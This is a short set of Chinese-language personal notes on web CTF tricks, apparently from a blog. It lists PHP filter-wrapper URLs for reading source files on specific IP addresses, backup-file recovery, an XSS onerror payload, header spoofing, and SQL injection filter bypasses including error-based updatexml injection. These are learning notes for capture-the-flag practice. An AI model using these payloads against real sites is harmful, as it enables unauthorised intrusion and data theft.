虽然是个web渣渣,不过还是记下一些小知识吧!
找源码:
1. 利用PHP协议读取所有源码 ,不太懂原理
http://218.76.35.75:20115/?page=php://filter/read=convert.base64-encode/resource=main
上面这个是看main.php的源码,得到的是base64形式,可以换成index看看;
http://218.76.35.74:20129/include.php?file=php://filter/read=convert.base64-encode/resource=include
这是看include.php的源码
2. 备份文件index.php~,.index.php.swp, index.php.swp, index.php.bak。其中还原命令为
vim -r index.php
XSS:
1.onerror:
> 123' onerror=alert(document.domain)
robots.txt可以看到一些东西
爆路径:
/file_manager_json.php?path=/
访问页面时
修改来自的网址——改Referer头
修改ip——改/增 X-forwarded-for头
修改UA:
例如题目要求修改为IOS99:
User-Agent:Mozilla/5.0 (iPhone; CPU iPhone OS 99 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4
作者:十二岁顽童
链接:https://www.jianshu.com/p/1b5e0be28645
來源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
sql注入:
关键字被过滤——
substr还有逗号被过滤可以用
mid(xxxx from 1 for 1)来逐字符判断
空格过滤:/**/或%0a
andand
/*and*/
/*!and*/
盲注:
当mid substr被waf过滤,可以使用regexp ‘^xxx’来正则匹配爆破字符
报错注入:
updatexml(1,concat(0x3a,(select xxxx)),1)
可以通过/**/拼接来注释掉中间的语句来实现一些操作